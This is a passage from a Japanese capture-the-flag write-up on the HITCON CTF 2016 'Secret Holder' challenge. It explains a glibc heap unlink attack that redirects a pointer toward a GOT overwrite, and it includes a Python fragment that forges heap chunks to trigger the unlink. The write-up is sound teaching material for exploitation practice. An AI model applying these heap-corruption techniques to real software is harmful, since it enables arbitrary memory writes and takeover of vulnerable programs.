(スライド78の通り、FD->bkとBK->fdつまり、(X-0x10)->bkと(X-0x18)->fdはどちらもXすなわちP2なのでassertは通ります)
よって、XはX-0x18(スライドではX-0xC)を指すことが分かります。

以上がUnlink AttackによるXの書き換えの手順になります。 ポイントはXの指す先を自分でコントロールできなかったが、XをX-0x18に向かせたということです。 Xはsmall_secretなので、X-0x18はbig_secretです。 renew()とかいうバッファの内容を書き換える関数がありますから、renew(big)でbig_secretが指す値を書き換えることができます。 そして、big_secretが指す先はsmall_secretで書き換えることができます。 つまり、big_secretを中継して任意アドレスの内容を書き換えることができます。 書き換える対象はもちろんGOTです。(後編に続く)

別解

fastbinsのくだりなしで、Unlink Attackを成功する方法がHITCON CTF 2016 Quals -- Secret Holder « Hacking Tubeで紹介されている。

"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
    # P2
    p64(0),                     # prev_size
    p64(0x21),                  # size
    p64(small_secret - 0x18),   # fd
    p64(small_secret - 0x10),   # bk
    # P                       
    p64(0x20),                  # prev_size
    p64(0x90),                  # size
    'B' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size
    'C' * 0x80,
    p64(0x90),                  # prev_size
    p64(0x91),                  # size    
    ]))
wipe(big)                       # free(P) => unlink atack (X = X-0x18)

が、なぜこんなに偽チャンクが必要なのだろう?【ご意見募集中】

2016/10/28追記: inaz2さんがfastbinsなし版の解法をgistで公開しています。非常にシンプルでいいすね。

https://gist.github.com/inaz2/732487ee170be9d8d2adf9cb50fe8d35

後編

katc.hateblo.jp

参考文献